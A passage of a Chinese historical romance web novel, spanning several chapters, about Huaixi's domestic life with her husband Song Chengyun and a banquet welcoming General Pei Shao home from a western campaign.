怀夕有些气闷,公子公子,她很想问小艾,你到底是谁的丫鬟。 怀夕推了推小艾,“快去嘛,就拿几颗。” 见怀夕坚持,小艾无奈,只好说道:“那就拿两颗。”说完她故意踩了踩脚,生怕后面的人不愿意,一溜烟就走出去。 怀夕抚了抚额,见翡翠和琥珀都忍着笑,挥手道:“你们也下去吧,夜里不用侍候,早些休息吧。” “是。” 待门被关上,怀夕立马站了起来,端着药在屋里环视了一圈。 倒在哪里好呢? 窗边的红梅半开,鲜艳得很,那插花的瓶子挺秀纤美 宋承云是沐浴完才回来的,开门进来时,看到倚坐在外间罗汉床上的身影时,眼神闪过淡淡的惊讶。 怀夕畏寒,在自己屋里也很松散,能躺着绝不坐着。眼下,她后背垫了个软枕,身上盖着一纯白无杂色的毛毯,手里握着半卷书,懒洋洋的…… 宋承云把身上的斗篷取下,又在炭火盆前站了一小会,待身子暖透后,才向罗汉床边走近。 怀夕的目光不时从书里抽离,偷偷觑着哥哥的动向。见他径直走到自己身旁时,瞳孔缩了缩。 她后侧,就是那个梅瓶 不会吧她特意往瓶子里还倒了好些水,又开了窗通了一会风,应不会留下什么味道才对。 怀夕咽了咽口水,撑着一只手想坐起来。 罗汉床被炕桌一分为二,两边的位置倒挺宽松,但若坐下两个人,就变得有些拥挤了。 宋承云走近,在床沿边坐下,微微往前俯身 怀夕撑着手的动作顿住,脑袋嗡了一声,怔怔地望着宋承云愈来愈近的清俊脸庞。 哥哥要做什么 怀夕脑里一片空白。 即使迟钝如怀夕,隐隐也有些感觉,从青元山回来后,她与哥哥之间,似乎有点不一样了。 但具体哪里不太一样,也说不上来。 譬如说,哥哥好像变得更加亲和了? 怀夕拿着书的那只手腕突然感觉有些麻,她下意识地捏紧了手里的书。 “怎么不擦干些?”宋承云手微微伸入女子的发丝里,轻轻揉了揉发丝,发丝间的潮湿便洇在指间。 视线里是逐渐靠近 的哥哥,他的长衫一角覆在她的薄毯上,在她身侧坐下。 怀夕无端觉得有些闷热,把书随手放到一侧,把两侧掉落的发丝全数扫到耳后,“屋里热,一会就干了。” 哥哥还在盯着她看,怀夕有些心虚,推了推他,“哥哥先去休息。” 宋承云在炕桌上扫了一眼,只有一个棋盘,放着一颗青梅的青花碟,一只茶杯 但是鼻翼边明明闻到一丝药味 怀夕垂在床上的那只手不自觉地攥着那白色毛毯,身子往□□了倾,刻意不想哥哥看到她身后的梅瓶。 “喝药了吗?”宋承云在她的推搡上站起来,恍若只是随口一问。 话音未落,怀夕立马应道:“喝了。” “” 匆忙的反应反而显得有些刻意 怀夕咳嗽一声,指了指桌上那颗青梅,“喝了药,还吃了一颗青梅甜嘴呵呵” 蹩脚地说着谎,宋承云看了她一眼,转身走出去,很快又回来了。 回来后也没看怀夕,直接落坐到炕桌上另一侧,随手拿了怀夕叠在那的书,翻了一页。 “” 怀夕不知道宋承云突然出去做什么,她瞥了他一眼,见他神情平静,便没多想,又懒懒地倚回去,捏起刚刚才翻了两页的书,又看起来。 虽烛火点了多盏,屋里还算光亮,但看了一会,怀夕觉得眼睛有些酸涩,遂放下书,想回里面休息。 才坐起来,门口就有两声叩门声。 夜里向来不用人侍候的,怀夕有些惊讶,还不待她开口叫进,就看到宋承云站起来,去开门。 回来时,手里端着微微冒着热气的瓷碗。 闻到熟悉的臭药味,怀夕忍不住蹙眉。 宋承云把药放在她那侧的桌沿,脸上并无不愉,神情还是淡淡的,“不烫,喝吧。” 怀夕哪里还不知道,哥哥定然知道她把药偷偷倒掉了 可是近半个月,雷打不动,每天两碗药,她真的是一闻到药味就想吐了 “哥哥”怀夕扁了扁嘴,试图装可怜。 但显然,人家并不买账,甚至端起碗,舀了一勺,送到她嘴边。 “” 怀夕往后退了退,避开已经到了唇边的勺子。 宋承云见状,也不恼,在她那侧床沿坐下。 “休息一日,明日再喝?”怀夕还是不死心。 勺子又近了两分,张嘴便能碰到那勺黑乎乎的药 怀夕瞪着圆圆的眼,有些生气哥哥的强硬,眉心紧蹙,忍不住拔高了音量。 “宋承云,我说了,我不想喝!” 琥珀般清澈的眉眼罕见地多了几丝愠怒,显得更为透亮,她的脸颊因此染上淡淡的绯红 宋承云怔了怔,虽面色不显,但惯是墨色的眼眸里还是起了些波澜,不是生气,反而似惊喜,似…兴奋? 这是怀夕第一次直呼宋承云的名字,还是以这样怒气冲冲的口气。 两人有一瞬怔怔地看着对方,勺子上的药因微微颤抖,有几滴轻轻跌落回碗里 脸上火辣辣的,因刚刚的怒气,也因现在的心虚,当然,还有一些说不上来的羞赧。 怀夕知道是自己不对,偷偷倒了药还直呼哥哥大名朝哥哥耍性子。 她向来是知错就改的性子,好说话,也不记仇,可不知怎地,此刻她就是不想认错 那药明明就很苦 虽然不肯抬眸看人,口头上也不认错,但搭在薄毯上的手还是缓缓伸出来,来拿宋承云手上的碗。 喝就喝,有什么了不起,怀夕心里愤愤想着。 宋承云轻轻叹了口气,将碗放回桌上,“说好的,明天要听话。” 低沉的声音混着清冽的松雪味,好似风擦着在心尖略过,怀夕抬头看声音来源,有些不可置信。 宋承云见她呆呆地不说话,抚了抚她的头顶,“嗯?” 陌生的心跳节奏,如同青元山哥哥搂住自己时一样,有些慌乱无章,薄毯上的脚趾不自觉收紧,怀夕垂下头,低低地应道:“好。” 宋承云尽量让自己的声线平和些,语气中带了几分商量,“药还有三帖,喝完后就停半个月,过两日请李太医诊脉,若他说不用喝,我们就不喝,可好?” 其实是自己无理取闹,明明自己在山上便答应会乖乖喝药 哥哥越是轻声细语,怀夕的头就越是低下几分。 “好。” 视线下沿,修长的手指,拿出一包小纸袋,看着纸袋上春芳斋的字样,怀夕眼神瞬间亮起来。 “桃脯?” “嗯。”宋承云把包装拆开,怀夕立马伸手捏了一枚桃脯,送到嘴巴里含住。 酸甜可口,怀夕忍不住眯了眯眼,眼眸里重新晕染上笑意。 她又捏了一枚,送到自己口中时犹豫了一下,又送到宋承云嘴边,疑问地张了张眉眼。 原以为哥哥不吃,没想到,他竟往前,张嘴,将她手里的桃脯带走。 不经意碰到的温软让怀夕手指忍不住轻轻颤了颤,她有些不自然地收回手,又装作若无其事地想去袋子里再捏一枚。 但宋承云却把袋子阖上,“明日再吃?” 怀夕乖巧地点了点头。 宋承云又倒了杯温水,递给她,怀夕接过来一口一口小抿着。 擦了牙,洗了脸,宋承云去熄灯时,怀夕先上了床。 两人虽各盖一床被褥,但中间隔着的那床,自从收起后便没再放过了,宋承云上床时,怀夕无声地咽了咽口水,放在胸前的手忍不住握紧。她有些庆幸帷帐内昏暗,哥哥看不到她的无措和异常。 “睡吧。” 宋承云转过身来,替她掖了掖被子。 怀夕点了点头,没有开口。 掖完被角后,宋承云又转回去,连躺着都是端端正正。 不知是近来炭火烧得旺,还是喝的药真的有些效果,近来睡觉,怀夕从来没有被冻醒过,每次醒来时,身上都暖乎乎的。 甚至此刻,她觉得靠近哥哥那一侧,似乎暖得有些发烫。 她小心翼翼地内侧挪了挪,但仍然能感觉到热度,怀夕索性将那只手从被褥里抽了出来,顺势往里翻了个身。 无声地松了口气,现在凉爽多了,也自在多了。 意识渐渐模糊,怀夕就着侧卧的姿势,很快就睡熟过去。 听到清浅绵长的呼吸声,一直未有动静的宋承云缓缓睁开眼,他转向内侧,借着月色静静地看着她的后脑勺,和那只微微能看见绒毛的小耳朵。 直到女子翻身对着他,往他胸前挪蹭,宋承云才掀开自己的被褥,将她揽了进来 第66章 第66章若她能嫁给裴劭 时间轮动,日月星辰下不紧不慢地流逝,喜庆的年关很快过去,冰雪渐渐消融,枯枝渐渐焕发绿意,金陵迎来新一年的春。 怀夕是从夏敏口中得知出征西北的军队得胜回朝的消息。 作为此次西北之征的主帅,裴劭不负众望,用半年的时间,逐个击破西北几个不肯归顺的游牧民族,俘虏数万。 但他最终并未伤害投降俘虏的性命,只是收缴兵器,关押一段时日后,便将他们放回,一时间收获民心无数。 短时间内,那些游牧民族无心也无力再南下侵犯俞楚领地。 他在萧瑟的晚秋离开金陵前往西北,再应召回京时已是草长莺飞的季节。 自西北大捷的消息屡屡传回京城,沈贵妃几次在圣上面前提起其侄女沈玉瑶与裴劭的亲事,说得多了,圣上也不禁放在心上。 金銮殿上,裴劭为此次出战的军士请功封赏时,圣上金口玉言,不准请了请功的折子,顺势下了一道赐婚圣旨。 于公于私,既显圣眷隆宠,慰西北军士,也为宽贵妃和首辅的心, 当夜,宫里大办凯旋宴,宴上觥筹交错。 作为本次宴上的主角,裴劭自然是众人的焦点。圣上不吝封赏,加封裴劭为扬武将军,此后,裴劭不再是小世子,而是本朝年纪最轻的侯爷。 庆功宴上好不热闹。 酒过三巡,圣上慰劳军士后,起了几分醉意,便只留太子继续与军士同欢。 圣上一走,众军士倒也松快了些,加上太子口谕让他们放开畅饮,军士们见他们将军没有推辞,便开始互相敬酒。 气氛烘托上来,酒劲慢慢上头,军士们开始大着胆子,一一来敬带他们浴血奋战,又替他们请功封赏的将军。 在他们眼中,他们的将军不仅封侯,还得到圣上赐婚,世上再没有比这更得意的事了。 军士们真心奉承,贺喜的话不断,而裴劭 唇角也始终衔着笑,对敬酒来者不拒。 有胆大的,见裴劭身边的太子身姿轩朗,气度不凡,眉目间颇为温和,也拿着酒杯上去相敬,原本以为能得太子颔首已是恩德,倒没想到太子也拿出酒杯,碰了他的,又碰了碰他们将军的,然后一饮而尽。 见太子以尊礼相待,众将士内心不由得对这位储君更是诚服。 男儿在外打仗,甘愿把命挂在腰间,除了养家糊口,也为报国尽效。能得效忠君主的体恤关怀,于他们来说是难以言表的慰藉。 不知又喝了多久,裴劭终于连酒杯都拿不稳。 他自小便在太子身边当伴读,与太子有着不同的情分,太子看得出来,这位伙伴笑了一整日,可笑意始终不达眼底。 确实如军士们所想,打了胜仗,得了封赏,不日便要迎娶美娇娘,还是身份尊贵的首辅家的女儿,再没有比这更得意的事了。 但 太子叹了口气,似理解,但也不全然理解。 儿女情长从不在他思虑的范围内,他身边虽只有一个太子妃,但也是父皇替他精心挑选的。家世容貌都是一等一,性子也温顺。 太子不曾在情事上花费心思,但不代表他蔑视真情。 相反,曾经他也希望裴劭能得偿所愿。 可世间之法,阴差阳错。 人家姑娘不喜欢他,兜兜转转竟嫁给宋承云。 而裴劭,即将迎娶首辅之女,卷入复杂的政争之中 欲达高峰,必忍其痛。 太子并不欲多说什么,他相信裴劭知道轻重。 至于他能不能真正放下,不重要- 裴劭回来的第三日,夏敏在王府筹办了接风宴,宴请将士眷属及亲朋好友,好不热闹。 怀夕和宋承云,自然在邀请之列。 此次擢升的好些将士都是西北本土人。西北民风开放,夏敏不想他们到了京城反而拘束,因此特意找了裴劭身边的副将林生来问,按西北风俗摆了宴席。 既让那些军士家属有如回家的自在,京里的亲朋好友也能粗粗领略西北风情。 既是按西北风俗来,男女宴席也未分开,但裴劭考虑到军士大多爽朗却也莽撞,为免冒犯女眷,还是让夏敏用屏风隔开男女宴席。 百年古树翠绿盎然,缤纷的花朵挤挤挨挨,风过时簌簌落下满室清香,艳丽光照碎碎点点洒落在蜿蜒曲折的廊道上。 虽是春季,但风里还带着微寒。怀夕从老太师院子里请完安走出来时,连打了两个喷嚏,她连忙紧了紧身上的蔷薇花纹羽缎披风。 正要继续往前走时,手腕被宋承云轻轻拉停,怀夕怔了怔,仰头去看他。 宋承云没说什么,只是抬手绕过她两臂,想把她的帷帽戴上。 怀夕弯着眸摇了摇头,“哥哥,我不冷。” 其实风吹来时是有一点点冷的,但今天翡翠帮她盘了个很好看的百合髻,若是戴上帷帽,定会碰乱了。 宋承云见怀夕伸手碰了碰发髻,察觉出她的意图,倒也没坚持,淡淡地嗯了一声。只是再走路时,身躯微微侧身,替她挡了部分来自廊道的风。 宴席还未开始,到了正院,男女宾便暂时分开,女眷到夏敏设的花房里先赏花吃茶,男宾尽数请到王楚修和裴劭所在的正厅上,虽也是吃茶,但更多的却是朝堂恭贺往来那一套。 女眷这边,怀夕进去后,看到的多是生面孔。 将士们在西北安了家,家眷都是西北的女子。 西北的姑娘长得俊俏,眉眼间透出一股北地人特有的爽朗,身姿也比南边的女子都高挑些。 怀夕这几年参加的宴席虽不多,在见过的女眷里,她算是比较高挑的,但进了屋子,发现这些生面孔的夫人姑娘,不少还要比她高挑几分。 她不着痕迹环视了一圈,没找到王郁心的身影,倒是看到沈玉瑶正站在干娘身侧,脸上挂着一如既往浅浅优雅的笑容。 夏敏招呼女眷间隙,正好抬头看到怀夕,立马朝她招了招手。 待怀夕走到她身边,她向她身边的女眷们介绍道:“这也是我的闺女,名唤怀夕” 围在一起的女眷们一齐目光落到怀夕身上。 ——杏子红的衫子衬得女子肌肤莹白生光,她一走近,未语先笑的眉眼弯成新月,唇畔梨涡若隐若现…… 果然是天子脚下,姑娘们一个比一个水灵…… “夫人的女儿们,长得可真俊。”那些夫人们看着怀夕,真心恭维道。 怀夕也笑着对他们福了福身,“各位夫人安好,姐姐妹妹们也安好。” 将士们的眷属多年在北地生活,初来这京里,心里多少有些怵。 好在他们将军这位姨母性子爽朗,也没什么官夫人的架子,让他们悬着的心落下不少。 但来了几日,他们也发现京里的这些夫人和姑娘们,个个养得精贵,皮肉嫩得发光,说话也是轻声细语的。 尤其是站在王夫人身边的这位,听说是他们未来的将军夫人。 不得不说,长得真是美,举止更是端庄典雅。 只是她虽笑着,不知怎的,她们也不敢在她面前恣意说话。 互相见了礼,怀夕问道:“怎么没见到郁心妹妹呢?” 这样热闹的场合该是她最喜欢,怀夕没看到王郁心的身影,有点纳闷。 沈玉瑶笑着接过话:“郁心妹妹刚还在这呢,不小心碰到茶水,下去更衣了。” 怀夕笑了笑,倒不是很意外。 几位副将夫人身后的小姑娘年纪不大,听到她们说话,有些怯生生地探出头。 但北地的姑娘出生在马背上,虽有些怯生,但骨子里总有一股豪爽在,见怀夕坦荡大方,主动问起他们北地的生活,小姑娘们慢慢地也卸下防备,言语活络起来。 其中有个十一二岁的小姑娘,主动环住怀夕的手腕,“姐姐,我叫雁儿。” 怀夕笑着牵过她的手,看到姑娘们有些拘束,又一直有新客过来见礼,索性转身对夏敏和几位夫人说道:“娘亲和几位夫人吃茶,我带几位姐妹去那边赏花吧。” 几位小姑娘听完眼神亮了亮,她们这些从北地来的眷属,虽然一直有同龄的京城姑娘们过来见礼,但怀夕是第一个主动提出带她们出去走走的。 那几位夫人看向怀夕的眼神明显多了几分谢意,喜爱溢于言表,夏敏都看在眼里,心里突然觉得有些可惜。 ——若怀夕能嫁给裴劭 不过念头一出便被她掐灭,她身边站着的,才是裴劭将来的妻子。 “去吧。”夏敏挥挥手,对其他小姑娘说道:“让怀夕姐姐带你们好好逛逛。” 几个姑娘纷纷点头,便跟着怀夕往外面走。 沈玉瑶性子不似郁心和怀夕那般外放,她行事端庄内敛。 但端庄有端庄的好处,夏敏对女孩们向来一视同仁,活泼也好,秀气也好,她都喜欢。 看着怀夕她们远去的身影,她和沈玉瑶相视笑了笑,又转头对其他夫人说道:“我们也过去那边坐下喝盏茶吧。” 第67章 第67章两人终于目光相触 怀夕带着几个小姑娘在外头游廊走了一圈,在湖上游亭落脚休息,赏湖上清荷。 唤雁儿的小姑娘摇了摇怀夕的手,“西北蛮荒,我从没见过这样多的花。”她神态俏皮,“这里的姐姐们长得都如同花儿一般美。” 其他小姑娘听完,忍不住笑出来。 怀夕坐在石凳上,与她平视,真心夸赞道:“你们也很美呀。” 跟金陵城的贵女们不同的美。 她们肤色带着些许褐色,没有那么白皙,可肌肤光滑澄亮,给人一种生机勃发的感觉。 小姑娘们听到夸赞并不害羞,反而扬了扬头,另一个叫铭华的小姑娘对怀夕说道:“怀夕姐姐倒似我们北地的姑娘。” 说完后,她又怕怀夕觉得冒犯,解释道:“我是说,怀夕姐姐性子爽朗。我们北地的姑娘,说话从不藏着掖着,就算在马背上也不比男儿差。” “对呀对呀,我骑马可比家中弟弟快得多。” “我也是,去年将军办的马球赛,我跟姐姐在小儿队得了第一名。” 见她们打开话篓子,怀夕听得津津有味,她问:“马赛不分男女么?” “当然不分。”雁儿凑过来说道,“分了有甚意思,将军说了,无论男女,自行组队。” “对了,将军是你的表兄么?”雁儿突然转头问道。 怀夕点了点头,现在算是。 “将军勇武过人,我听爹爹说,噶拉部落首领的首级,就是将军取的。” 西北的女子,说起战事,眸里不是畏惧,反而闪着晶亮。 怀夕听得出来,裴劭应是颇得军心的,军眷们说起他眼里都是一副尊崇的模样。 其他几个小姑娘散在亭子四处随意看着,雁儿却凑到怀夕耳边,“怀夕姐姐,我偷偷告诉你一个秘密。” 怀夕被她哈出来的气呼得耳朵痒痒的,看雁儿神秘兮兮的样子,她忍着笑,说:“什么秘密?” 雁儿声音放得更低,“在北地里喜欢将军的女子可多着。” 怀夕点了点头,很正常呀,鲜衣怒马将军郎,不止北地,裴劭在金陵也很受欢迎。 “原来将军喜欢沈姐姐那样的女子啊,我们都赌错了。”雁儿想到刚刚见到王夫人身边那位穿着精美,说起话来温温柔柔,但却叫人不敢亲近的未来将军夫人,心里头还有几分讶异。 怀夕不置可否,刮了刮她的鼻子,“小女孩懂什么,别胡说。” 雁儿用手挠过怀夕刮过的地方,睁着小圆眼说知道了。 坐了一会,远远看见王郁心朝这边小跑过来,怀夕便站了起来,用手绢对着她挥了挥手。 王郁心和几个小姑娘先见过的,不过刚刚只是见了礼,不久后她便回去更衣,所以还没说上话。 见她过来,这群小姑娘们匆匆低头查看衣裙有没有不得体之处,然后才走到怀夕身后。 王郁心踏进亭中,有些喘气,“终于找到你啦。” 见其他几个小姑娘欲行礼,王郁心挥了挥手,“不必多礼。刚刚我还想喝盏茶带你们出来走走,没想到手滑” 话语一落,小姑娘们便知道她的脾性了,很快也放松下来。 “母亲叫我们回去,说是马上开宴了。”王郁心对她们说道,“一会宴会结束,我带你们去北边那个花园走走,那里花开得更好些。” 小姑娘们笑着点了点头- 宴席上,怀夕第一次跟王郁心分开做,和王郁雾一起坐到夫人们坐的那一桌。 沈玉瑶和王郁心带着其他未婚嫁的小姑娘坐到另一桌。 王郁雾刚生完孩子不到四月,脸蛋比之前圆不少,但气色红润,看着就知道在夫家过得不错。 她虽没有亲喂母乳,但因生完不久,还在吃药调理身子,因此同夫人们相敬举杯时,她杯盏里备的是温水。 但怀夕杯子里的装的显然是真的酒水。 今日不仅吃的是北地的吃食,连酒水都是北地那边运过来的,女眷桌上的酒水也是。 怀夕抿了一小口,辣得她舌尖发痛,她忍着没将小脸皱成一团。 王郁雾注意到了,夹了一筷子鸳鸯圆子到她碗里,嘱咐她:“这酒闻着就烈,你抿抿意思一下就好。” 怀夕把酒杯推开,点点头。 夏敏能喝酒,但喝了两三杯,脸上也起了几分红晕,其他几位宗亲夫人也是,倒是那几位北地夫人,神采雀跃,丝毫看不出饮了酒。 但酒只是助兴用,女眷席上没有劝酒的先例,边吃边聊,倒也十分热闹。 男眷席上不似之前宫里的凯旋宴,大家也是点到为止,庆贺为主。 众人向裴劭庆贺时,宋承云也走上前。 王楚修笑着打趣道:“虽说承云大你一岁,但免不了还是吃亏。” 怀夕名义是王府的二女儿,唤裴劭表兄,那宋承云免不了也要改口喊表兄。 宋承云听完笑了笑,倒是没有真的喊他表兄,还是按官位称呼他:“裴将军。” 裴劭脚步微滞,主动举起酒杯,笑着说道:“可惜错过编修与怀夕的大婚,不过,新婚贺礼我已备好,明日便送到府里,希望编修不要怪罪。” “岂会。”宋承云轻笑回道。 两人对视一眼,举杯饮尽杯中酒。 待他们喝完,王楚修挥了挥手,便有人上来添酒。 “都是亲戚,就不必那么多礼了。”王楚修笑道,“今日主要是接风,午后你姨母还请了戏班子上门,酒就留到你大婚时再喝吧。” 裴劭听完,握着酒杯的手不小心晃了晃,酒水满溢到指尖。 宋承云显然注意到了,但只是淡淡把目光挪开,待其他敬酒的人上前时,他也顺势退开。 宴席中途,夏敏让下人把中间的屏风撤了。既是接风宴,总不好宴席结束,女眷们都还没见到主角吧。 屏风撤下后,裴劭站起来,几位将士也站起来。 紧接着,所有宾客都端着酒杯站起来 虽来了一早上,但怀夕也是屏风撤下后才见到裴劭。 裴劭今日身着一身深紫色云蝠纹镶边衣,身姿如松,身上的气质比他离京时仿佛凌厉了几分。 怀夕跟着众人举杯,然后小抿了一口酒。 坐下前,她特地往男宾那几桌望去,不知怎地那样巧,正好就与哥哥对上眼。 怀夕笑着对他眨了眨眼,正好王郁雾凑过来说话,她便收回目光。 酒宴结束,夏敏请大家稍作休憩后,便可移步戏台。 宾客们三三两两从厅上走出来,怀夕和小艾先出来,在廊道上站着,王郁心带着雁儿她们出来时,以为怀夕在等她们。 怀夕摇了摇头,让她们先行。 王郁心看她还望着院里,一下子就懂了,转头对雁儿她们说:“怀夕姐姐等她夫君呢,我们先过去。” 雁儿闻言,还想留下来陪怀夕一起等,被铭华拉走,边走边留下铃铃笑声。 怀夕笑着看她们离去身影时,小艾拉了拉她的衣袖,“姑娘,是公子。” 怀夕回头,便看到哥哥正朝她这里走近。 她笑意盈盈地迎上去,歪了歪头看他。 嗯,还好,没醉。 宋承云静静站着,任眼前女子左右端详着。 “哥哥没喝酒?”怀夕打趣道。 “一点点。” 怀夕点头,那就行,哥哥酒量可不怎么好。 过了晌午,春风裹着日光,打在脸上暖暖的。 宋承云伸手,将她脸上被风吹乱的几丝发丝牵到耳后,他眼里有浅浅的笑意,“去看戏么?” 怀夕微微仰着头,清澈的双眸弯起,“嗯,不过不跟哥哥一起,郁心她们还在等我呢。” “一起过去?” “好。”- 走到搭戏台的院子前,怀夕看到夏敏正好从对面的廊道里走过来。 夏敏刚刚觉得有些饱腹,特意带着沈玉瑶跟几个夫人饶了一段路,路上正好碰到裴劭和几位将军,便停下来寒暄了几句,走过来时便有些晚了,见到怀夕,她问道:“戏台都开始唱了,怎么你们也还没进去?” 怀夕笑着回道:“等你们呢。” 几位夫人捂嘴笑了笑,身后的几位将士眼里也含着笑意。 雁儿的母亲丁夫人看着怀夕身后的宋承云,眸里不掩惊艳,试探地问道:“这就是二姑娘的夫君了?” 夏敏点头说是,那几位夫人纷纷点头,“金陵可真是福地啊” “ 真是般配……” 不仅姑娘水灵,连郎君,也都这般俊俏。 几位夫人算是收敛了,若是在他们北地,横竖要说得这对夫妻羞红脸。 但怀夕平日迟钝,今日不知为何,听完夫人们的打趣,有些羞赧地低了低头。 “走吧走吧。”夏敏笑着解围,“进去看戏吧。” 裴劭站在夏敏身边,一直将目光虚虚落在地上,待那位丁夫人将话题引到怀夕身上时,他没忍住瞥了一眼过去。 短短一眼,看到她与从前不同的妆扮,心里止不住涌上一股酸涩,只一眼便匆匆收回目光。 桌子上准备了各式各样的零嘴,小姑娘们一开始新奇,边吃零嘴边听着戏,台上咿咿呀呀,几个姑娘看了一会,便开始有些走神。 王郁心本也不喜欢看戏,跟几位姑娘对视了一眼…… 相互挑了挑眉。 怀夕看得倒还算认真,桌上准备的核桃酥也甚得她意,正当她准备再拿一枚的时候,手腕被身旁的王郁心抓住。 “姐姐,走?” 怀夕转过头,看到包括王郁心在内,好几双眼睛同时看着自己,她蹙了蹙眉,“去哪?” 王郁心笑了笑,并不回答,拉起怀夕,又示意后边几位小姑娘跟上,从戏台边上慢慢撤出院子。 这么大的动静,许多人都看到了,夏敏当然也看到了。 见北地的几个小姑娘们跟两个女儿相处得不错,夏敏倒也乐见其成,本来就是想让眷属们能有宾至如归的感觉,玩得开心就行。 她转头看了看旁边的沈玉瑶,“你若乏了,想过去跟她们玩就去吧。” 一个早上,她都陪在她们这群妇人身边,终究年纪还小,夏敏怕她难免觉得枯燥。 沈玉瑶却摇了摇头,“玉瑶在这里陪姨母和夫人们看戏吧。” 夏敏刚刚见她看得颇是入神,像是真的喜欢,便点了点头。 待夏敏转头同其他夫人说话时,沈玉瑶的目光才从台上移开,落到右前侧那位挺拔的背影上。 今日,还没能找到机会同他说上一句话 台上不知何时又换了一出戏,中途夏敏示意沈玉瑶把她桌上的一叠金丝糕端到裴劭桌上。 沈玉瑶红着脸照做,端过去时,两人终于目光相触。 裴劭似乎有些讶异,而后嘴角微微扬起,对着她点了点头。 身后有人看着,沈玉瑶羞红了脸,把糕点放下后,也不知道说什么,只好赶紧回到座上。 坐在位子上,她也捏了一枚金丝糕,放到嘴边小咬了一口。 甜滋滋的。 她庆幸自己坐着的位置在裴劭身后,就算把目光移到他身上也无人发现。 可直到裴劭中途离座,看到他桌上那碟糕点,沈玉瑶不禁有些疑惑…… 姨母明明说,他自小就喜欢吃金丝糕,刚刚还特意说下次亲自教她,让她以后也可以做给裴劭吃。 可她端过去的那盘金丝糕,丝毫没有被动过的痕迹…… 第68章 第68章没有男子能容忍有人觊觎…… 王郁心带着怀夕和雁儿她们几个小姑娘出来后,在游廊里走走停停,来到他们刚刚停留过的湖上小亭。 这里风景独好,满湖碧绿的莲叶,莲叶夹缝间偶尔能看到悠然游弋的小鱼冒出水面,吐了泡泡,然后尾巴一甩,又藏进湖里深处去。 看着一会,王郁心忽然转头问雁儿她们:“想不想下去抓鱼?” “抓鱼?”小姑娘目露惊奇,雁儿更是直接哇了一声,“可以下水么?” 铭华低头抚了抚她身上绣工精美的浅蓝色襦裙,有些舍不得,犹豫道:“不好吧,一会弄湿了衣服,少不得要被母亲责骂的。” 况且,来之前她们母亲三令九申,要她们不管怎样,装也要给她装出恬静的淑女样 “不下水。”王郁心摆了摆手,“我让老吴把船划过来,再拿几把网兜,我们就坐在船上捞鱼。” 那可好,裙子不会湿,也不会太失礼,小姑娘们互相看了看,笑出来,“好。” 橘林去传话,很快,负责侍花的老吴把小船从对面划了过来,船只不是游船,是平日老吴用来修剪捞拾湖上落叶用的,小小一只。 加上小艾和橘林,他们一行总共有八人,老吴帮她们摇船,船上顶多只能再做五个人。 怀夕笑着扶她们上船,见她们兴致勃勃,让她们先去玩一轮,她先在岸上看她们玩。 小姑娘爽朗着,也不推辞。船慢悠悠往湖心划去,橘林先跑去对岸接应她们。 怀夕和小艾在亭子里坐着看了一会,亭子里凉风习习,坐久了便有些凉意,看着她们快到对岸,怀夕便站起来,准备慢慢走过去对岸跟她们汇合。 刚从亭子里出来,没走几步,就听到一声有人在身后喊了一声,“妹妹。” 怀夕转头,发现是裴劭。 “将军。”小艾蹲了个礼。她倒不是意外,一路走来也有遇到零零散散出来透气的其他人。 虽有些诧异,怀夕还是扬起清浅的笑容,停下来等他走近。 仅仅是半年多未见,怀夕觉得裴劭似乎变了许多。 当然不止是那张俊脸比从前黝黑了几分,而是他身上的气质。 说不上来具体的变化,只是觉得他整个人比之前沉稳了许多,眉眼间更多了几分刚毅和沉着。 今日赴的是裴劭的接风宴,一个上午过去,这还是怀夕第一次有机会恭贺这位主人公。 “恭喜裴将军得胜而归啊。” 这样的话裴劭不知已经听过几遍,但经眼前女子说出来,不知怎地,他心里莫名多了几分欣喜。 他中途从戏台里走出来,到底存了什么心思,他也不清楚。转头时留意到怀夕的位置已经空了之后,其实就不怎么坐得住了。 回来几日,足够裴劭了解朝廷半年来的风云变幻,自然,也足够他了解怀夕嫁给宋承云的来龙去脉。 在见到怀夕之前,裴劭心里不是没想到其他可能。 例如怀夕只是怕名声受损,才不得不嫁给她的哥哥。 譬如说,或许是宋承云挟恩求报,逼迫怀夕嫁给她,其实他是个表面端方实则禽兽的人。 可眼下,看着女子依然明净的眉眼,嫣然绽放的粉颊,灵动流光的神色…… 他知道,宋承云将她照顾得很好。 抑或是,她在宋承云身边,依然自在开怀。 这几日憋在心底的问题,不用问,他已经有了答案。 “多谢。”裴劭低声笑了笑,目光滑过她尽数挽起的百合髻,像是才想起一般,“也恭喜你得嫁良人啊。” 他的语调故意拿捏得像刚刚怀夕恭喜他时那般,坦荡又有些散漫。 可真正说出来时,内心还是没忍住沉了又沉。 听他说完,眼前女子似有些羞赧地垂下眸,而后唇角弯起,又抬眸看他。 她的眸色很浅,干净剔透,仿佛能透出光来,加上她无心遮掩,目光坦坦荡荡。 ——她坦然默认他说的话。 “怀夕姐姐” 对岸王郁心她们显然已经上了岸,透过裴劭身后,怀夕能看到雁儿手里还提着一个小桶,她们在向她招手。 “将军” “好多鱼” 她们在喊着,夹杂着欢笑声,好不欢乐。 怀夕挥挥手里的手绢回应她们。 “将军,那我先过去” “你欢喜吗?” 两人同时开口。 午后的日光逐渐敛去热烫,但依旧很耀眼,怀夕转过来看裴劭时,眸子因强光下意识敛了敛。 “什么?”怀夕维持仰头的姿势,她没听清。 裴劭跨在背后的手青筋若隐若现,线条利落明显,但对着怀夕时,脸上还是拉起一抹浅浅的笑,看似悠哉悠哉的。 他咽了咽口水,仿佛自虐一般,或者是,为了斩断所有不该有的惦念,他敛了敛脸上散漫的神色,“我是说, 嫁给宋承云,你欢喜吗?” 那头呼唤她的声音愈来愈近,怀夕看了一眼,又转过头,笑颜熠熠生辉,比日光还要耀眼。 “欢喜啊。” 裴劭眼底的笑意似乎更甚了些,在她转身之际,他应了一句,“好。” 只是不知道怀夕有没有听到。 不过也不重要。 她欢喜就好。 那他也欢喜- 虽说只是坐在船上捞鱼,但网兜挥挥洒洒,小姑娘调皮互相拨水,多少还是沾湿了衣袖,发髻也凌乱不少。 给怀夕展示她们的战利品后,小姑娘们这才注意到彼此狼狈的模样,纷纷有些着急起来。 她们的母亲可都不似金陵女子这般温柔如水,若是这般模样被看到,恐怕不止吃一顿油鞭炒肉能解决 雁儿想起她母亲平时掐她时的狠劲,忍不住打了个冷颤,还有些湿漉的手来牵怀夕。 “郁心,你先带妹妹们回院里收拾一下吧。”怀夕揽过雁儿,“我先回去看看,免得一会母亲找不到我们,派人来寻。” 王郁心回道:“好。” “小艾也过去帮忙吧。” 小艾应是。 待她们走后,怀夕沿着原路走回唱戏的院子。 青芜院几个大字映入眼帘的同时,转弯的回廊里走出一个身影。 